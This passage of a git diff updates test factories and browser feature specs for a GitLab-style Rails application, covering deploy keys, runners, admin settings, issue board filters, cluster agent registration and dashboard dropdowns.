author { project&.creator || association(:user) }
on_issue
+ updated_by { author }
factory :note_on_commit, traits: [:on_commit]
factory :note_on_issue, traits: [:on_issue], aliases: [:votable_note]
diff --git a/spec/factories/packages/debian/component_file.rb b/spec/factories/packages/debian/component_file.rb
index 9aee91b0973..eeba64ba5d2 100644
--- a/spec/factories/packages/debian/component_file.rb
+++ b/spec/factories/packages/debian/component_file.rb
@@ -27,8 +27,8 @@ FactoryBot.define do
file_type { :packages }
end
- trait(:source) do
- file_type { :source }
+ trait(:sources) do
+ file_type { :sources }
architecture { nil }
end
diff --git a/spec/factories/packages/package_files.rb b/spec/factories/packages/package_files.rb
index d9afbac1048..845fd882beb 100644
--- a/spec/factories/packages/package_files.rb
+++ b/spec/factories/packages/package_files.rb
@@ -323,6 +323,14 @@ FactoryBot.define do
size { 1149.bytes }
end
+ trait(:generic_zip) do
+ package
+ file_fixture { 'spec/fixtures/packages/generic/myfile.zip' }
+ file_name { "#{package.name}.zip" }
+ file_sha256 { '3559e770bd493b326e8ec5e6242f7206d3fbf94fa47c16f82d34a037daa113e5' }
+ size { 3989.bytes }
+ end
+
trait(:object_storage) do
file_store { Packages::PackageFileUploader::Store::REMOTE }
end
diff --git a/spec/factories/packages/packages.rb b/spec/factories/packages/packages.rb
index bb9aa95fe08..153518f4cd3 100644
--- a/spec/factories/packages/packages.rb
+++ b/spec/factories/packages/packages.rb
@@ -247,6 +247,12 @@ FactoryBot.define do
sequence(:name) { |n| "generic-package-#{n}" }
version { '1.0.0' }
package_type { :generic }
+
+ trait(:with_zip_file) do
+ after :create do |package|
+ create :package_file, :generic_zip, package: package
+ end
+ end
end
end
end
diff --git a/spec/factories/plan_limits.rb b/spec/factories/plan_limits.rb
index b5921c1b311..ad10629af05 100644
--- a/spec/factories/plan_limits.rb
+++ b/spec/factories/plan_limits.rb
@@ -12,6 +12,7 @@ FactoryBot.define do
trait :with_package_file_sizes do
conan_max_file_size { 100 }
+ helm_max_file_size { 100 }
maven_max_file_size { 100 }
npm_max_file_size { 100 }
nuget_max_file_size { 100 }
diff --git a/spec/factories/projects.rb b/spec/factories/projects.rb
index fb86f4672bc..981f10e8260 100644
--- a/spec/factories/projects.rb
+++ b/spec/factories/projects.rb
@@ -190,7 +190,7 @@ FactoryBot.define do
end
after :create do |project, evaluator|
- raise "Failed to create repository!" unless project.create_repository
+ raise "Failed to create repository!" unless project.repository.exists? || project.create_repository
evaluator.files.each do |filename, content|
project.repository.create_file(
diff --git a/spec/factories/protected_branches.rb b/spec/factories/protected_branches.rb
index 2d3abc77350..bac1cf21596 100644
--- a/spec/factories/protected_branches.rb
+++ b/spec/factories/protected_branches.rb
@@ -2,7 +2,7 @@
FactoryBot.define do
factory :protected_branch do
- name
+ sequence(:name) { |n| "protected_branch_#{n}" }
project
transient do
@@ -11,6 +11,20 @@ FactoryBot.define do
default_access_level { true }
end
+ trait :create_branch_on_repository do
+ association :project, factory: [:project, :repository]
+
+ transient do
+ repository_branch_name { name }
+ end
+
+ after(:create) do |protected_branch, evaluator|
+ project = protected_branch.project
+
+ project.repository.create_branch(evaluator.repository_branch_name, project.default_branch_or_main)
+ end
+ end
+
trait :developers_can_push do
transient do
default_push_level { false }
diff --git a/spec/factories/sequences.rb b/spec/factories/sequences.rb
index 0edc2b6027d..893865962d8 100644
--- a/spec/factories/sequences.rb
+++ b/spec/factories/sequences.rb
@@ -2,7 +2,7 @@
FactoryBot.define do
sequence(:username) { |n| "user#{n}" }
- sequence(:name) { |n| "John Doe#{n}" }
+ sequence(:name) { |n| "Sidney Jones#{n}" }
sequence(:email) { |n| "user#{n}@example.org" }
sequence(:email_alias) { |n| "user.alias#{n}@example.org" }
sequence(:title) { |n| "My title #{n}" }
@@ -21,4 +21,5 @@ FactoryBot.define do
sequence(:jira_branch) { |n| "feature/PROJ-#{n}" }
sequence(:job_name) { |n| "job #{n}" }
sequence(:work_item_type_name) { |n| "bug#{n}" }
+ sequence(:short_text) { |n| "someText#{n}" }
end
diff --git a/spec/factories/user_callouts.rb b/spec/factories/user_callouts.rb
deleted file mode 100644
index cedc6efd8d7..00000000000
--- a/spec/factories/user_callouts.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :user_callout do
- feature_name { :gke_cluster_integration }
-
- user
- end
-end
diff --git a/spec/factories/users/callouts.rb b/spec/factories/users/callouts.rb
new file mode 100644
index 00000000000..d9f142fee6f
--- /dev/null
+++ b/spec/factories/users/callouts.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :callout, class: 'Users::Callout' do
+ feature_name { :gke_cluster_integration }
+
+ user
+ end
+end
diff --git a/spec/factories/x509_commit_signature.rb b/spec/factories/x509_commit_signature.rb
deleted file mode 100644
index a342b240690..00000000000
--- a/spec/factories/x509_commit_signature.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :x509_commit_signature do
- commit_sha { Digest::SHA1.hexdigest(SecureRandom.hex) }
- project
- x509_certificate
- verification_status { :verified }
- end
-end
diff --git a/spec/features/action_cable_logging_spec.rb b/spec/features/action_cable_logging_spec.rb
index 2e6ce93f7f7..cf20b204cc5 100644
--- a/spec/features/action_cable_logging_spec.rb
+++ b/spec/features/action_cable_logging_spec.rb
@@ -25,7 +25,7 @@ RSpec.describe 'ActionCable logging', :js do
username: user.username
)
- expect(ActiveSupport::Notifications).to receive(:instrument).with('subscribe.action_cable', subscription_data)
+ expect(ActiveSupport::Notifications).to receive(:instrument).with('subscribe.action_cable', subscription_data).at_least(:once)
gitlab_sign_in(user)
visit project_issue_path(project, issue)
diff --git a/spec/features/admin/admin_deploy_keys_spec.rb b/spec/features/admin/admin_deploy_keys_spec.rb
index 53caf0fac33..9b74aa2ac5a 100644
--- a/spec/features/admin/admin_deploy_keys_spec.rb
+++ b/spec/features/admin/admin_deploy_keys_spec.rb
@@ -3,101 +3,125 @@
require 'spec_helper'
RSpec.describe 'admin deploy keys' do
+ include Spec::Support::Helpers::ModalHelpers
+
let_it_be(:admin) { create(:admin) }
let!(:deploy_key) { create(:deploy_key, public: true) }
let!(:another_deploy_key) { create(:another_deploy_key, public: true) }
before do
- stub_feature_flags(admin_deploy_keys_vue: false)
sign_in(admin)
gitlab_enable_admin_mode_sign_in(admin)
end
- it 'show all public deploy keys' do
- visit admin_deploy_keys_path
+ shared_examples 'renders deploy keys correctly' do
+ it 'show all public deploy keys' do
+ visit admin_deploy_keys_path
- page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
- expect(page).to have_content(deploy_key.title)
- expect(page).to have_content(another_deploy_key.title)
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).to have_content(deploy_key.title)
+ expect(page).to have_content(another_deploy_key.title)
+ end
end
- end
- it 'shows all the projects the deploy key has write access' do
- write_key = create(:deploy_keys_project, :write_access, deploy_key: deploy_key)
+ it 'shows all the projects the deploy key has write access' do
+ write_key = create(:deploy_keys_project, :write_access, deploy_key: deploy_key)
- visit admin_deploy_keys_path
+ visit admin_deploy_keys_path
- page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
- expect(page).to have_content(write_key.project.full_name)
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).to have_content(write_key.project.full_name)
+ end
end
- end
- describe 'create a new deploy key' do
- let(:new_ssh_key) { attributes_for(:key)[:key] }
+ describe 'create a new deploy key' do
+ let(:new_ssh_key) { attributes_for(:key)[:key] }
- before do
- visit admin_deploy_keys_path
- click_link 'New deploy key'
- end
+ before do
+ visit admin_deploy_keys_path
+ click_link 'New deploy key'
+ end
- it 'creates a new deploy key' do
- fill_in 'deploy_key_title', with: 'laptop'
- fill_in 'deploy_key_key', with: new_ssh_key
- click_button 'Create'
+ it 'creates a new deploy key' do
+ fill_in 'deploy_key_title', with: 'laptop'
+ fill_in 'deploy_key_key', with: new_ssh_key
+ click_button 'Create'
- expect(current_path).to eq admin_deploy_keys_path
+ expect(current_path).to eq admin_deploy_keys_path
- page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
- expect(page).to have_content('laptop')
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).to have_content('laptop')
+ end
end
end
- end
- describe 'update an existing deploy key' do
- before do
- visit admin_deploy_keys_path
- find('tr', text: deploy_key.title).click_link('Edit')
- end
+ describe 'update an existing deploy key' do
+ before do
+ visit admin_deploy_keys_path
+ page.within('tr', text: deploy_key.title) do
+ click_link(_('Edit deploy key'))
+ end
+ end
- it 'updates an existing deploy key' do
- fill_in 'deploy_key_title', with: 'new-title'
- click_button 'Save changes'
+ it 'updates an existing deploy key' do
+ fill_in 'deploy_key_title', with: 'new-title'
+ click_button 'Save changes'
- expect(current_path).to eq admin_deploy_keys_path
+ expect(current_path).to eq admin_deploy_keys_path
- page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
- expect(page).to have_content('new-title')
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).to have_content('new-title')
+ end
end
end
end
- describe 'remove an existing deploy key' do
- before do
- visit admin_deploy_keys_path
- end
+ context 'when `admin_deploy_keys_vue` feature flag is enabled', :js do
+ it_behaves_like 'renders deploy keys correctly'
- it 'removes an existing deploy key' do
- find('tr', text: deploy_key.title).click_link('Remove')
+ describe 'remove an existing deploy key' do
+ before do
+ visit admin_deploy_keys_path
+ end
- expect(current_path).to eq admin_deploy_keys_path
- page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
- expect(page).not_to have_content(deploy_key.title)
+ it 'removes an existing deploy key' do
+ accept_gl_confirm('Are you sure you want to delete this deploy key?', button_text: 'Delete') do
+ page.within('tr', text: deploy_key.title) do
+ click_button _('Delete deploy key')
+ end
+ end
+
+ expect(current_path).to eq admin_deploy_keys_path
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).not_to have_content(deploy_key.title)
+ end
end
end
end
- context 'when `admin_deploy_keys_vue` feature flag is enabled', :js do
+ context 'when `admin_deploy_keys_vue` feature flag is disabled' do
before do
- stub_feature_flags(admin_deploy_keys_vue: true)
-
- visit admin_deploy_keys_path
+ stub_feature_flags(admin_deploy_keys_vue: false)
end
- it 'renders the Vue app', :aggregate_failures do
- expect(page).to have_content('Public deploy keys')
- expect(page).to have_selector('[data-testid="deploy-keys-list"]')
- expect(page).to have_link('New deploy key', href: new_admin_deploy_key_path)
+ it_behaves_like 'renders deploy keys correctly'
+
+ describe 'remove an existing deploy key' do
+ before do
+ visit admin_deploy_keys_path
+ end
+
+ it 'removes an existing deploy key' do
+ page.within('tr', text: deploy_key.title) do
+ click_link _('Remove deploy key')
+ end
+
+ expect(current_path).to eq admin_deploy_keys_path
+ page.within(find('[data-testid="deploy-keys-list"]', match: :first)) do
+ expect(page).not_to have_content(deploy_key.title)
+ end
+ end
end
end
end
diff --git a/spec/features/admin/admin_labels_spec.rb b/spec/features/admin/admin_labels_spec.rb
index 65de1160cfd..86d60b5d483 100644
--- a/spec/features/admin/admin_labels_spec.rb
+++ b/spec/features/admin/admin_labels_spec.rb
@@ -45,7 +45,7 @@ RSpec.describe 'admin issues labels' do
wait_for_requests
- expect(page).to have_content("There are no labels yet")
+ expect(page).to have_content("Define your default set of project labels")
expect(page).not_to have_content('bug')
expect(page).not_to have_content('feature_label')
end
diff --git a/spec/features/admin/admin_projects_spec.rb b/spec/features/admin/admin_projects_spec.rb
index a50ef34d327..8938bab60d7 100644
--- a/spec/features/admin/admin_projects_spec.rb
+++ b/spec/features/admin/admin_projects_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe "Admin::Projects" do
include Spec::Support::Helpers::Features::MembersHelpers
include Spec::Support::Helpers::Features::InviteMembersModalHelper
include Select2Helper
+ include Spec::Support::Helpers::ModalHelpers
let(:user) { create :user }
let(:project) { create(:project) }
@@ -39,7 +40,7 @@ RSpec.describe "Admin::Projects" do
expect(page).to have_content(project.name)
expect(page).to have_content(archived_project.name)
- expect(page).to have_xpath("//span[@class='badge badge-warning']", text: 'archived')
+ expect(page).to have_xpath("//span[@class='gl-badge badge badge-pill badge-warning md']", text: 'archived')
end
it 'renders only archived projects', :js do
@@ -145,7 +146,7 @@ RSpec.describe "Admin::Projects" do
click_button 'Leave'
end
- page.within('[role="dialog"]') do
+ within_modal do
click_button('Leave')
end
diff --git a/spec/features/admin/admin_runners_spec.rb b/spec/features/admin/admin_runners_spec.rb
index 7e2751daefa..cc2d36221dc 100644
--- a/spec/features/admin/admin_runners_spec.rb
+++ b/spec/features/admin/admin_runners_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe "Admin Runners" do
include StubENV
+ include Spec::Support::Helpers::ModalHelpers
before do
stub_env('IN_MEMORY_APPLICATION_SETTINGS', 'false')
@@ -25,7 +26,7 @@ RSpec.describe "Admin Runners" do
visit admin_runners_path
expect(page).to have_text "Register an instance runner"
- expect(page).to have_text "Runners currently online: 1"
+ expect(page).to have_text "Online Runners 1"
end
it 'with an instance runner shows an instance badge' do
@@ -58,6 +59,55 @@ RSpec.describe "Admin Runners" do
end
end
+ it 'shows a job count' do
+ runner = create(:ci_runner, :project, projects: [project])
+
+ create(:ci_build, runner: runner)
+ create(:ci_build, runner: runner)
+
+ visit admin_runners_path
+
+ within "[data-testid='runner-row-#{runner.id}'] [data-label='Jobs']" do
+ expect(page).to have_content '2'
+ end
+ end
+
+ describe 'delete runner' do
+ let!(:runner) { create(:ci_runner, description: 'runner-foo') }
+
+ before do
+ visit admin_runners_path
+
+ within "[data-testid='runner-row-#{runner.id}']" do
+ click_on 'Delete runner'
+ end
+ end
+
+ it 'shows a confirmation modal' do
+ expect(page).to have_text "Delete runner ##{runner.id} (#{runner.short_sha})?"
+ expect(page).to have_text "Are you sure you want to continue?"
+ end
+
+ it 'deletes a runner' do
+ within '.modal' do
+ click_on 'Delete runner'
+ end
+
+ expect(page.find('.gl-toast')).to have_text(/Runner .+ deleted/)
+ expect(page).not_to have_content 'runner-foo'
+ end
+
+ it 'cancels runner deletion' do
+ within '.modal' do
+ click_on 'Cancel'
+ end
+
+ wait_for_requests
+
+ expect(page).to have_content 'runner-foo'
+ end
+ end
+
describe 'search' do
before do
create(:ci_runner, :instance, description: 'runner-foo')
@@ -323,7 +373,7 @@ RSpec.describe "Admin Runners" do
it 'has all necessary texts including no runner message' do
expect(page).to have_text "Register an instance runner"
- expect(page).to have_text "Runners currently online: 0"
+ expect(page).to have_text "Online Runners 0"
expect(page).to have_text 'No runners found'
end
end
@@ -353,7 +403,7 @@ RSpec.describe "Admin Runners" do
end
it 'dismisses runner installation modal' do
- page.within('[role="dialog"]') do
+ within_modal do
click_button('Close', match: :first)
end
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index 0a39baca259..29323c604ef 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -445,6 +445,24 @@ RSpec.describe 'Admin updates settings' do
expect(current_settings.repository_storages_weighted).to eq('default' => 50)
end
+
+ context 'External storage for repository static objects' do
+ it 'changes Repository external storage settings' do
+ encrypted_token = Gitlab::CryptoHelper.aes256_gcm_encrypt('OldToken')
+ current_settings.update_attribute :static_objects_external_storage_auth_token_encrypted, encrypted_token
+
+ visit repository_admin_application_settings_path
+
+ page.within('.as-repository-static-objects') do
+ fill_in 'application_setting_static_objects_external_storage_url', with: 'http://example.com'
+ fill_in 'application_setting_static_objects_external_storage_auth_token', with: 'Token'
+ click_button 'Save changes'
+ end
+
+ expect(current_settings.static_objects_external_storage_url).to eq('http://example.com')
+ expect(current_settings.static_objects_external_storage_auth_token).to eq('Token')
+ end
+ end
end
context 'Reporting page' do
diff --git a/spec/features/admin/users/user_spec.rb b/spec/features/admin/users/user_spec.rb
index 73477fb93dd..ae940fecabe 100644
--- a/spec/features/admin/users/user_spec.rb
+++ b/spec/features/admin/users/user_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe 'Admin::Users::User' do
include Spec::Support::Helpers::Features::AdminUsersHelpers
+ include Spec::Support::Helpers::ModalHelpers
let_it_be(:user) { create(:omniauth_user, provider: 'twitter', extern_uid: '123456') }
let_it_be(:current_user) { create(:admin) }
@@ -113,7 +114,7 @@ RSpec.describe 'Admin::Users::User' do
click_action_in_user_dropdown(user_sole_owner_of_group.id, 'Delete user and contributions')
- page.within('[role="dialog"]') do
+ within_modal do
fill_in('username', with: user_sole_owner_of_group.name)
click_button('Delete user and contributions')
end
@@ -426,7 +427,7 @@ RSpec.describe 'Admin::Users::User' do
click_button 'Confirm user'
- page.within('[role="dialog"]') do
+ within_modal do
expect(page).to have_content("Confirm user #{unconfirmed_user.name}?")
expect(page).to have_content('This user has an unconfirmed email address. You may force a confirmation.')
diff --git a/spec/features/alert_management/alert_details_spec.rb b/spec/features/alert_management/alert_details_spec.rb
index ce82b5adf8d..579b8221041 100644
--- a/spec/features/alert_management/alert_details_spec.rb
+++ b/spec/features/alert_management/alert_details_spec.rb
@@ -60,7 +60,7 @@ RSpec.describe 'Alert details', :js do
expect(alert_status).to have_content('Triggered')
- find('.btn-link').click
+ find('.gl-button').click
find('.gl-new-dropdown-item', text: 'Acknowledged').click
wait_for_requests
@@ -79,7 +79,7 @@ RSpec.describe 'Alert details', :js do
wait_for_requests
- expect(alert_assignee).to have_content('Assignee Edit John Doe')
+ expect(alert_assignee).to have_content('Assignee Edit Sidney Jones')
end
end
end
diff --git a/spec/features/boards/board_filters_spec.rb b/spec/features/boards/board_filters_spec.rb
new file mode 100644
index 00000000000..25e474bb676
--- /dev/null
+++ b/spec/features/boards/board_filters_spec.rb
@@ -0,0 +1,197 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Issue board filters', :js do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:project_label) { create(:label, project: project, title: 'Label') }
+ let_it_be(:milestone_1) { create(:milestone, project: project) }
+ let_it_be(:milestone_2) { create(:milestone, project: project) }
+ let_it_be(:release) { create(:release, tag: 'v1.0', project: project, milestones: [milestone_1]) }
+ let_it_be(:release_2) { create(:release, tag: 'v2.0', project: project, milestones: [milestone_2]) }
+ let_it_be(:issue_1) { create(:issue, project: project, milestone: milestone_1, author: user) }
+ let_it_be(:issue_2) { create(:labeled_issue, project: project, milestone: milestone_2, assignees: [user], labels: [project_label], confidential: true) }
+ let_it_be(:award_emoji1) { create(:award_emoji, name: 'thumbsup', user: user, awardable: issue_1) }
+
+ let(:filtered_search) { find('[data-testid="issue_1-board-filtered-search"]') }
+ let(:filter_input) { find('.gl-filtered-search-term-input')}
+ let(:filter_dropdown) { find('.gl-filtered-search-suggestion-list') }
+ let(:filter_first_suggestion) { find('.gl-filtered-search-suggestion-list').first('.gl-filtered-search-suggestion') }
+ let(:filter_submit) { find('.gl-search-box-by-click-search-button') }
+
+ before do
+ stub_feature_flags(issue_boards_filtered_search: true)
+
+ project.add_maintainer(user)
+ sign_in(user)
+
+ visit_project_board
+ end
+
+ shared_examples 'loads all the users when opened' do
+ it 'and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 3)
+
+ click_on user.username
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(issue.title)
+ end
+ end
+
+ describe 'filters by assignee' do
+ before do
+ set_filter('assignee')
+ end
+
+ it_behaves_like 'loads all the users when opened' do
+ let(:issue) { issue_2 }
+ end
+ end
+
+ describe 'filters by author' do
+ before do
+ set_filter('author')
+ end
+
+ it_behaves_like 'loads all the users when opened' do
+ let(:issue) { issue_1 }
+ end
+ end
+
+ describe 'filters by label' do
+ before do
+ set_filter('label')
+ end
+
+ it 'loads all the labels when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 3)
+
+ filter_dropdown.click_on project_label.title
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(issue_2.title)
+ end
+ end
+
+ describe 'filters by releases' do
+ before do
+ set_filter('release')
+ end
+
+ it 'loads all the releases when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 2)
+
+ click_on release.tag
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(issue_1.title)
+ end
+ end
+
+ describe 'filters by confidentiality' do
+ before do
+ filter_input.click
+ filter_input.set("confidential:")
+ end
+
+ it 'loads all the confidentiality options when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 2)
+
+ filter_dropdown.click_on 'Yes'
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(issue_2.title)
+ end
+ end
+
+ describe 'filters by milestone' do
+ before do
+ set_filter('milestone')
+ end
+
+ it 'loads all the milestones when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 6)
+ expect(filter_dropdown).to have_content('None')
+ expect(filter_dropdown).to have_content('Any')
+ expect(filter_dropdown).to have_content('Started')
+ expect(filter_dropdown).to have_content('Upcoming')
+ expect(filter_dropdown).to have_content(milestone_1.title)
+ expect(filter_dropdown).to have_content(milestone_2.title)
+
+ click_on milestone_1.title
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ end
+ end
+
+ describe 'filters by reaction emoji' do
+ before do
+ set_filter('my-reaction')
+ end
+
+ it 'loads all the emojis when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 2)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 3)
+
+ click_on 'thumbsup'
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(issue_1.title)
+ end
+ end
+
+ describe 'filters by type' do
+ let_it_be(:incident) { create(:incident, project: project)}
+
+ before do
+ set_filter('type')
+ end
+
+ it 'loads all the types when opened and submit one as filter', :aggregate_failures do
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 3)
+
+ expect_filtered_search_dropdown_results(filter_dropdown, 2)
+
+ click_on 'Incident'
+ filter_submit.click
+
+ expect(find('.board:nth-child(1)')).to have_selector('.board-card', count: 1)
+ expect(find('.board-card')).to have_content(incident.title)
+ end
+ end
+
+ def set_filter(filter)
+ filter_input.click
+ filter_input.set("#{filter}:")
+ filter_first_suggestion.click # Select `=` operator
+ end
+
+ def expect_filtered_search_dropdown_results(filter_dropdown, count)
+ expect(filter_dropdown).to have_selector('.gl-new-dropdown-item', count: count)
+ end
+
+ def visit_project_board
+ visit project_board_path(project, board)
+ wait_for_requests
+ end
+end
diff --git a/spec/features/boards/sidebar_due_date_spec.rb b/spec/features/boards/sidebar_due_date_spec.rb
deleted file mode 100644
index 141c574ffec..00000000000
--- a/spec/features/boards/sidebar_due_date_spec.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Project issue boards sidebar due date', :js do
- include BoardHelpers
-
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :public) }
- let_it_be(:issue) { create(:issue, project: project, relative_position: 1) }
- let_it_be(:board) { create(:board, project: project) }
- let_it_be(:list) { create(:list, board: board, position: 0) }
-
- let(:card) { find('.board:nth-child(1)').first('.board-card') }
-
- around do |example|
- freeze_time { example.run }
- end
-
- before do
- project.add_maintainer(user)
-
- sign_in(user)
-
- visit project_board_path(project, board)
- wait_for_requests
- end
-
- context 'due date' do
- it 'updates due date' do
- click_card(card)
-
- page.within('[data-testid="sidebar-due-date"]') do
- today = Date.today.day
-
- click_button 'Edit'
-
- click_button today.to_s
-
- wait_for_requests
-
- expect(page).to have_content(today.to_s(:medium))
- end
- end
- end
-end
diff --git a/spec/features/boards/sidebar_milestones_spec.rb b/spec/features/boards/sidebar_milestones_spec.rb
deleted file mode 100644
index be7435263b1..00000000000
--- a/spec/features/boards/sidebar_milestones_spec.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'Project issue boards sidebar milestones', :js do
- include BoardHelpers
-
- let_it_be(:user) { create(:user) }
- let_it_be(:project) { create(:project, :public) }
- let_it_be(:milestone) { create(:milestone, project: project) }
- let_it_be(:issue1) { create(:issue, project: project, relative_position: 1) }
- let_it_be(:issue2) { create(:issue, project: project, milestone: milestone, relative_position: 2) }
- let_it_be(:board) { create(:board, project: project) }
- let_it_be(:list) { create(:list, board: board, position: 0) }
-
- let(:card1) { find('.board:nth-child(1) .board-card:nth-of-type(1)') }
- let(:card2) { find('.board:nth-child(1) .board-card:nth-of-type(2)') }
-
- before do
- project.add_maintainer(user)
-
- sign_in(user)
-
- visit project_board_path(project, board)
- wait_for_requests
- end
-
- context 'milestone' do
- it 'adds a milestone' do
- click_card(card1)
-
- page.within('[data-testid="sidebar-milestones"]') do
- click_button 'Edit'
-
- wait_for_requests
-
- click_button milestone.title
-
- wait_for_requests
-
- page.within('[data-testid="select-milestone"]') do
- expect(page).to have_content(milestone.title)
- end
- end
- end
-
- it 'removes a milestone' do
- click_card(card2)
-
- page.within('[data-testid="sidebar-milestones"]') do
- click_button 'Edit'
-
- wait_for_requests
-
- click_button "No milestone"
-
- wait_for_requests
-
- page.within('[data-testid="select-milestone"]') do
- expect(page).not_to have_content(milestone.title)
- end
- end
- end
- end
-end
diff --git a/spec/features/clusters/create_agent_spec.rb b/spec/features/clusters/create_agent_spec.rb
index f40932c4750..7ed31a8c549 100644
--- a/spec/features/clusters/create_agent_spec.rb
+++ b/spec/features/clusters/create_agent_spec.rb
@@ -25,13 +25,13 @@ RSpec.describe 'Cluster agent registration', :js do
it 'allows the user to select an agent to install, and displays the resulting agent token' do
click_button('Actions')
- expect(page).to have_content('Install new Agent')
+ expect(page).to have_content('Register')
- click_button('Select an Agent')
+ click_button('Select an agent')
click_button('example-agent-2')
- click_button('Register Agent')
+ click_button('Register')
- expect(page).to have_content('The token value will not be shown again after you close this window.')
+ expect(page).to have_content('You cannot see this token again after you close this window.')
expect(page).to have_content('example-agent-token')
expect(page).to have_content('docker run --pull=always --rm')
diff --git a/spec/features/commits_spec.rb b/spec/features/commits_spec.rb
index 2dafaedd262..4378e88f7c1 100644
--- a/spec/features/commits_spec.rb
+++ b/spec/features/commits_spec.rb
@@ -24,14 +24,15 @@ RSpec.describe 'Commits' do
end
context 'commit status is Generic Commit Status' do
- let!(:status) { create(:generic_commit_status, pipeline: pipeline) }
+ let!(:status) { create(:generic_commit_status, pipeline: pipeline, ref: pipeline.ref) }
before do
project.add_reporter(user)
end
- describe 'Commit builds' do
+ describe 'Commit builds with jobs_tab_feature flag off' do
before do
+ stub_feature_flags(jobs_tab_vue: false)
visit pipeline_path(pipeline)
end
@@ -89,8 +90,9 @@ RSpec.describe 'Commits' do
end
end
- context 'Download artifacts' do
+ context 'Download artifacts with jobs_tab_vue feature flag off' do
before do
+ stub_feature_flags(jobs_tab_vue: false)
create(:ci_job_artifact, :archive, file: artifacts_file, job: build)
end
@@ -118,8 +120,9 @@ RSpec.describe 'Commits' do
end
end
- context "when logged as reporter" do
+ context "when logged as reporter and with jobs_tab_vue feature flag off" do
before do
+ stub_feature_flags(jobs_tab_vue: false)
project.add_reporter(user)
create(:ci_job_artifact, :archive, file: artifacts_file, job: build)
visit pipeline_path(pipeline)
diff --git a/spec/features/dashboard/issues_spec.rb b/spec/features/dashboard/issues_spec.rb
index 0b2811618b5..a9fb6a2ae7e 100644
--- a/spec/features/dashboard/issues_spec.rb
+++ b/spec/features/dashboard/issues_spec.rb
@@ -49,7 +49,7 @@ RSpec.describe 'Dashboard Issues' do
describe 'new issue dropdown' do
it 'shows projects only with issues feature enabled', :js do
- find('.new-project-item-select-button').click
+ click_button 'Toggle project select'
page.within('.select2-results') do
expect(page).to have_content(project.full_name)
@@ -58,7 +58,7 @@ RSpec.describe 'Dashboard Issues' do
end
it 'shows the new issue page', :js do
- find('.new-project-item-select-button').click
+ click_button 'Toggle project select'
wait_for_requests
diff --git a/spec/features/dashboard/merge_requests_spec.rb b/spec/features/dashboard/merge_requests_spec.rb
index aa2485d4236..6239702edde 100644
--- a/spec/features/dashboard/merge_requests_spec.rb
+++ b/spec/features/dashboard/merge_requests_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe 'Dashboard Merge Requests' do
end
it 'shows projects only with merge requests feature enabled', :js do
- find('.new-project-item-select-button').click
+ click_button 'Toggle project select'
page.within('.select2-results') do
expect(page).to have_content(project.full_name)
diff --git a/spec/features/dashboard/milestones_spec.rb b/spec/features/dashboard/milestones_spec.rb
index 992ed2f2ce6..1ba16bf879a 100644
--- a/spec/features/dashboard/milestones_spec.rb
+++ b/spec/features/dashboard/milestones_spec.rb
@@ -35,7 +35,7 @@ RSpec.describe 'Dashboard > Milestones' do
describe 'new milestones dropdown', :js do
